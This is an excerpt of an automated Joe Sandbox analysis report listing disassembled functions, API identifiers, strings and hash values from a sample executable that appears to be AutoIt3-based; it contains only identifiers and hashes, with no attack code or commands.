                                                            • Instruction Fuzzy Hash: B92124B6A04B85DEEB00CF79D8845AC77B1F349B48B004866EB5893B1CEF78D664CB50
                                                            Function 00007FF69DBA4B28 Relevance: 6.0, APIs: 4, Instructions: 44registryCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: Type$Register$FileLoadModuleNameUser
                                                            • String ID:
                                                            • API String ID: 1352324309-0
                                                            • Opcode ID: 26dceef0b12b748e4890be4283cc75c768f711def0b64c07a5df3002dea28784
                                                            • Instruction ID: 4bae7c91f921b9a71dcf6fef829e22cc31ef28d6f4e795c9bc2b7accc06f2fa1
                                                            • Opcode Fuzzy Hash: 26dceef0b12b748e4890be4283cc75c768f711def0b64c07a5df3002dea28784
                                                            • Instruction Fuzzy Hash: 731121B271854282E7308F25E49476A33E0FB8AB98F9441B6CA8DCB64CEF7DD545CB50
                                                            Function 00007FF69DB6B778 Relevance: 6.0, APIs: 4, Instructions: 43COMMONLIBRARYCODE
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: ErrorLast$abort
                                                            • String ID:
                                                            • API String ID: 1447195878-0
                                                            • Opcode ID: 0faf83f130fa22d125fe7e1bf2297fae296eca513ac77b66c62e822180671c32
                                                            • Instruction ID: b2b0c74f1346fa52a53c135666df7ec30845f634de9bbf2c6b87095304ccb063
                                                            • Opcode Fuzzy Hash: 0faf83f130fa22d125fe7e1bf2297fae296eca513ac77b66c62e822180671c32
                                                            • Instruction Fuzzy Hash: 1B01C0A0B09A4242FA78A771912553C31B1EF46BB0F9404B8D88EC77DEFD2CF4014204
                                                            Function 00007FF69DBA9260 Relevance: 6.0, APIs: 4, Instructions: 37sleepCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: CounterPerformanceQuerySleep
                                                            • String ID:
                                                            • API String ID: 2875609808-0
                                                            • Opcode ID: c6a5989f9dc195674d757a8e27f3c1042de8158b51fda3090b6682196588991b
                                                            • Instruction ID: 9bbee5aeeaa64c23f6839c22335845e3fb665c51d837284b53d1cecc950e5224
                                                            • Opcode Fuzzy Hash: c6a5989f9dc195674d757a8e27f3c1042de8158b51fda3090b6682196588991b
                                                            • Instruction Fuzzy Hash: C301F950A0CB8642EE365B35904017FB3A0FFA6751F4403B5E9CFA2568EF2CE4958600
                                                            Function 00007FF69DBE072C Relevance: 6.0, APIs: 4, Instructions: 36COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: Path$ObjectSelect$BeginCreateLineMoveStroke
                                                            • String ID:
                                                            • API String ID: 1539411459-0
                                                            • Opcode ID: 058f7c961f19f1df1cfb2125e1cbf4c754dffe1c4cdb6de871a3d3459fa768a6
                                                            • Instruction ID: ad276a7f8902ab84d46d4af567b60b7b2f56cbd4b1f24ba0b92e088085e68a4a
                                                            • Opcode Fuzzy Hash: 058f7c961f19f1df1cfb2125e1cbf4c754dffe1c4cdb6de871a3d3459fa768a6
                                                            • Instruction Fuzzy Hash: 4401F575A1839182E7204B15B9087386BA0FB82BD4F1801B4CFD983BA5DF7DD4418B40
                                                            Function 00007FF69DB9D4EC Relevance: 6.0, APIs: 4, Instructions: 24threadCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: CurrentOpenProcessThreadToken
                                                            • String ID:
                                                            • API String ID: 3974789173-0
                                                            • Opcode ID: 5cd93aab99a75fcfcb42631ab9fe43dfed1bd9e6d723e162398547d1910a1280
                                                            • Instruction ID: 354c37cb81910f48305ddda02e621acf171fdafaac6dfeb44818f59ddd85d095
                                                            • Opcode Fuzzy Hash: 5cd93aab99a75fcfcb42631ab9fe43dfed1bd9e6d723e162398547d1910a1280
                                                            • Instruction Fuzzy Hash: 32F03791A19541C2EB604F61D80477813D0EF65B95F4440B4C54E83658FE7C9589C350
                                                            Function 00007FF69DB9326E Relevance: 6.0, APIs: 4, Instructions: 19COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: CapsDesktopDeviceReleaseWindow
                                                            • String ID:
                                                            • API String ID: 2889604237-0
                                                            • Opcode ID: 1feedfad755e607c49e01145a3823af596c92df2e00356d80eed4a018d1c4b5c
                                                            • Instruction ID: b97bec4695155dc5fc963b5559a6351f3ac26fafb8d3f4881d4b72264b1d2f45
                                                            • Opcode Fuzzy Hash: 1feedfad755e607c49e01145a3823af596c92df2e00356d80eed4a018d1c4b5c
                                                            • Instruction Fuzzy Hash: D7E01AA0E0970286FA20DB72A82C23822A4EF5AFC1F0045F0CD8E87B5DFE3CA0459340
                                                            Function 00007FF69DB93287 Relevance: 6.0, APIs: 4, Instructions: 18COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: CapsDesktopDeviceReleaseWindow
                                                            • String ID:
                                                            • API String ID: 2889604237-0
                                                            • Opcode ID: 0f8fd1d3423bd3015dfaeae2d2106595fe3726f148ce33332917fba087c4fcce
                                                            • Instruction ID: ac95714a40d8506cd0adba52e33fc55c3a7f3887c42d35e92bde661d6a4fa84e
                                                            • Opcode Fuzzy Hash: 0f8fd1d3423bd3015dfaeae2d2106595fe3726f148ce33332917fba087c4fcce
                                                            • Instruction Fuzzy Hash: CBE04FA0F0970286EA20DB72A82C2382294EF5AFC1F0001F0CD4E83B59FE3DA0059340
                                                            Function 00007FF69DB6CC78 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 245COMMONLIBRARYCODE
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: _invalid_parameter_noinfo
                                                            • String ID: gfffffff
                                                            • API String ID: 3215553584-1523873471
                                                            • Opcode ID: dc31ed7580b08dc4a7b229eebc0aac3b305a5916052008eb2c70828ae2249d51
                                                            • Instruction ID: 8bfce6353cb522a46bd25cabb223b6e0e357d9822d7e94b7844ccec73beab59c
                                                            • Opcode Fuzzy Hash: dc31ed7580b08dc4a7b229eebc0aac3b305a5916052008eb2c70828ae2249d51
                                                            • Instruction Fuzzy Hash: D29129A2A0A38685EB318F25D14036C7FA5EB267E0F448171DBCD87399EE3EE555C301
                                                            Function 00007FF69DBA1D10 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 200comCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: ContainedObject
                                                            • String ID: AutoIt3GUI$Container
                                                            • API String ID: 3565006973-3941886329
                                                            • Opcode ID: ec532330f33b0a9812ac3d9e654419ff88b42a82dbb45e6ba561f09289b70eff
                                                            • Instruction ID: 971ebde5b89789b2a1c356db314595f0daf9ab5b18c82c34fd5e3b0e1032dcd7
                                                            • Opcode Fuzzy Hash: ec532330f33b0a9812ac3d9e654419ff88b42a82dbb45e6ba561f09289b70eff
                                                            • Instruction Fuzzy Hash: BF9137B6604B8286DB64DF29E4406AD73B4FB89B94F518136DF8D83768EF3AD855C300
                                                            Function 00007FF69DB6D0A8 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 138COMMONLIBRARYCODE
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: _invalid_parameter_noinfo
                                                            • String ID: e+000$gfff
                                                            • API String ID: 3215553584-3030954782
                                                            • Opcode ID: 04dcd116da85894f10939a0f3d563d07a18b7e7aec23bacfc76a5396d48b7619
                                                            • Instruction ID: 429445ea863ccf2c26966d8ded78aba90f3cba0d897efc4952d2fcfa0df61961
                                                            • Opcode Fuzzy Hash: 04dcd116da85894f10939a0f3d563d07a18b7e7aec23bacfc76a5396d48b7619
                                                            • Instruction Fuzzy Hash: F451F5A2B187C186E7358F35D94136D7A91FB82BA0F8892B5C7D8C7AD9EE6CD045C700
                                                            Function 00007FF69DB6A09C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: FileModuleName_invalid_parameter_noinfo
                                                            • String ID: C:\Users\user\Desktop\TCKxnQ5CPn.exe
                                                            • API String ID: 3307058713-1439285573
                                                            • Opcode ID: 6c87e2de3f4c0aeac315ff4329a83c64bfbcc05b24579d353487348f4d7a711e
                                                            • Instruction ID: c5dc31f5cc71398edbcfe29c1f9adb7d8fa62c1edb2c5679190c2604d3c101af
                                                            • Opcode Fuzzy Hash: 6c87e2de3f4c0aeac315ff4329a83c64bfbcc05b24579d353487348f4d7a711e
                                                            • Instruction Fuzzy Hash: F441C4B2A08A52C5EB24DF21D8401BD73A4FF46BE0B944075E98E87B59FF3CE4428300
                                                            Function 00007FF69DBD9E08 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 89COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: Window$CreateDestroyMessageObjectSendStock
                                                            • String ID: static
                                                            • API String ID: 3467290483-2160076837
                                                            • Opcode ID: a4bdc31031acf25a780acb8ebad28d815df5c0ae00d3c31ea018055d33185612
                                                            • Instruction ID: 8cbbfe1e49c1857c0ee014d875f9f54cd834bab1ca636805e79ee27f1ddd33d6
                                                            • Opcode Fuzzy Hash: a4bdc31031acf25a780acb8ebad28d815df5c0ae00d3c31ea018055d33185612
                                                            • Instruction Fuzzy Hash: D8413BB29086C286D670DF21E4407AEB7A1FB85790F504275EBED43A99EF3CE481DB40
                                                            Function 00007FF69DBC5E00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 88networkCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: ByteCharMultiWidehtonsinet_addr
                                                            • String ID: 255.255.255.255
                                                            • API String ID: 2496851823-2422070025
                                                            • Opcode ID: e55c8c587f1448b1a4207f66a752895f1a07630204b4ee05391494375fe3cc25
                                                            • Instruction ID: fb1b3eb0ce4edd47e88b6244584deab06fc843aacda9183ab30f5ee71cdb8832
                                                            • Opcode Fuzzy Hash: e55c8c587f1448b1a4207f66a752895f1a07630204b4ee05391494375fe3cc25
                                                            • Instruction Fuzzy Hash: 7531D4B2A0865281EF30CB2AD85427C77A0FF66B94F458571DE9E83399EE3CD546C300
                                                            Function 00007FF69DBDB224 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 73COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: Window$CreateMessageObjectSendStock
                                                            • String ID: $SysTabControl32
                                                            • API String ID: 2080134422-3143400907
                                                            • Opcode ID: bda9a96d7587ee0db61141e8122984108ce719646b8dc1b3190cd5c08410ff98
                                                            • Instruction ID: 7e059a078f896aa872df67782528812b7b8d38f6516e74ce67b1fbd118b27585
                                                            • Opcode Fuzzy Hash: bda9a96d7587ee0db61141e8122984108ce719646b8dc1b3190cd5c08410ff98
                                                            • Instruction Fuzzy Hash: 573148B25087C1CAE7708F15E444B9AB7A0F785BB4F14433AEAA857AD8DB38D4918F40
                                                            Function 00007FF69DB6DC30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 70COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: FileHandleType
                                                            • String ID: @
                                                            • API String ID: 3000768030-2766056989
                                                            • Opcode ID: 6504a464ad744481ce6bc1c71c4353ab51ac4f53e5ce451b4dcbbfd06c50b848
                                                            • Instruction ID: 14d26b0285d856df768958b91d00e92a4e5304baa933cb8f9dfa6837958d6d96
                                                            • Opcode Fuzzy Hash: 6504a464ad744481ce6bc1c71c4353ab51ac4f53e5ce451b4dcbbfd06c50b848
                                                            • Instruction Fuzzy Hash: D721F5A2A08A5681EB708B25949013C3650FB87774F6813B5D6EE873D8EE3CD881C340
                                                            Function 00007FF69DBDA0C4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: Window$ColorCreateMessageObjectRectSendStock
                                                            • String ID: static
                                                            • API String ID: 1983116058-2160076837
                                                            • Opcode ID: 2cf77c951f50a5aa7b90eeaf8a6614b83960d367aa0043a5ee29e49d78538776
                                                            • Instruction ID: c253b9663c57712aa5799dd492d6f7349d26c25bf2d5961d03a96fcba4377b6c
                                                            • Opcode Fuzzy Hash: 2cf77c951f50a5aa7b90eeaf8a6614b83960d367aa0043a5ee29e49d78538776
                                                            • Instruction Fuzzy Hash: B4311B76A087818BD734CF29E444B5AB7A5F789790F10427ADB9953B98DF38E451CF00
                                                            Function 00007FF69DBD9868 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 64windowCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: MessageSend$CreateObjectStockWindow
                                                            • String ID: Combobox
                                                            • API String ID: 1025951953-2096851135
                                                            • Opcode ID: 64d9c3cb7b5de17515fad991fab36aed20c74e14fc7f9fd3c19d97b8fd4a0418
                                                            • Instruction ID: 2f431a45557375594f4ec04abd8314afb5d108102e23edb4cd9fb424a7821114
                                                            • Opcode Fuzzy Hash: 64d9c3cb7b5de17515fad991fab36aed20c74e14fc7f9fd3c19d97b8fd4a0418
                                                            • Instruction Fuzzy Hash: 053125726087C1CAE7708F25A444B5AB7A5F789790F504279EAE843B99DF3CD841CB00
                                                            Function 00007FF69DBD9BD4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63windowCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: LengthMessageSendTextWindow
                                                            • String ID: edit
                                                            • API String ID: 2978978980-2167791130
                                                            • Opcode ID: 7385061f885e14c89e765babf531e3acc6228f8566b1a940e972c4d460c7f125
